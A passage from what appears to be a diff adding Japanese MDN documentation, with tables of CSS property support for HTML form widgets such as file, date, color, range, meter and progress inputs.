top;">{{cssxref("text-indent")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>境界と背景</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + </tbody> +</table> + +<h3 id="File_picker" name="File_picker">ファイルピッカー</h3> + +<p> <code>{{htmlelement("input/file", "file")}}</code> 入力タイプを見てください。</p> + +<table> + <thead> + <tr> + <th scope="col">プロパティ</th> + <th scope="col" style="text-align: center;">N</th> + <th scope="col" style="text-align: center;">T</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>CSS ボックスモデル</em></th> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>テキストとフォント</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td> + <ol> + <li>対応されていますが、ブラウザ間で頼りにできるほどの一貫性はありません。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>ほとんどのブラウザは、このプロパティを選択ボタンにも適用します。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>ウィジェットの外側に左マージンがあるような状態になります。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>境界と背景</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td> + <ol> + <li>対応されていますが、ブラウザ間で頼りにできるほどの一貫性はありません。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>IE9 はこのプロパティに対応していません。</li> + </ol> + </td> + </tr> + </tbody> +</table> + +<h3 id="Date_pickers" name="Date_pickers">日付選択</h3> + +<p><code>{{htmlelement("input/date", "date")}}</code> と <code>{{htmlelement("input/time", "time")}}</code> 入力タイプを見てください。多くのプロパティが対応されていますが、ブラウザー間で頼りにできるほどの一貫性はありません。</p> + +<table> + <thead> + <tr> + <th scope="col">プロパティ</th> + <th scope="col" style="text-align: center;">N</th> + <th scope="col" style="text-align: center;">T</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>CSS ボックスモデル</em></th> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>テキストとフォント</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>境界と背景</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + </tbody> +</table> + +<h3 id="Color_pickers" name="Color_pickers">カラーピッカー</h3> + +<p> <code>{{htmlelement("input/color", "color")}}</code> 入力タイプを見てください。</p> + +<table> + <thead> + <tr> + <th scope="col">プロパティ</th> + <th scope="col" style="text-align: center;">N</th> + <th scope="col" style="text-align: center;">T</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>CSS ボックスモデル</em></th> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> + <ol> + <li>Opera はこのプロパティを、select ウィジェットと同じ制限事項のもとに処理します。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> + <ol> + <li>Opera はこのプロパティを、select ウィジェットと同じ制限事項のもとに処理します。</li> + </ol> + </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>テキストとフォント</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>境界と背景</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td colspan="1" rowspan="3"> + <ol> + <li>対応されていますが、ブラウザ間で頼りにできるほどの一貫性はありません。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + </tr> + </tbody> +</table> + +<h3 id="Meters_and_progress" name="Meters_and_progress">メーターとプログレスバー</h3> + +<p><code>{{htmlelement("meter")}}</code> と <code>{{htmlelement("progress")}}</code> 要素を見てください:</p> + +<table> + <thead> + <tr> + <th scope="col">プロパティ</th> + <th scope="col" style="text-align: center;">N</th> + <th scope="col" style="text-align: center;">T</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>CSS ボックスモデル</em></th> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>Chrome は調整された (Tweaked) 状態の要素に {{cssxref("padding")}} プロパティが適用されていると、{{HTMLElement("progress")}} 要素や {{HTMLElement("meter")}} 要素を隠します。</li> + </ol> + </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>テキストとフォント</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>境界と背景</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td colspan="1" rowspan="3"> + <ol> + <li>対応されていますが、ブラウザ間で頼りにできるほどの一貫性はありません。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + </tr> + </tbody> +</table> + +<h3 id="Range" name="Range">Range</h3> + +<p><code>{{htmlelement("input/range", "range")}}</code> 入力タイプを見てください。スライダーのつまみのスタイルを変更するための標準的な方法はなく、また Opera ではウィジェットのデフォルトの表示を調整する方法がありません。</p> + +<table> + <thead> + <tr> + <th scope="col">プロパティ</th> + <th scope="col" style="text-align: center;">N</th> + <th scope="col" style="text-align: center;">T</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>CSS ボックスモデル</em></th> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>Chrome や Opera はウィジェットの周りに余白を追加します。また Windows 7 の Opera では、スライダーのつまみが引き伸ばされます。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> + <ol> + <li>{{cssxref("padding")}} は適用されますが、視覚的な効果はありません。</li> + </ol> + </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>テキストとフォント</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>境界と背景</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td colspan="1" rowspan="3"> + <ol> + <li>対応されていますが、ブラウザ間で頼りにできるほどの一貫性はありません。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + </tr> + </tbody> +</table> + +<h3 id="Image_buttons" name="Image_buttons">画像ボタン</h3> + +<p><code>{{htmlelement("input/image", "image")}}</code> 入力タイプを見てください:</p> + +<table> + <thead> + <tr> + <th scope="col">プロパティ</th> + 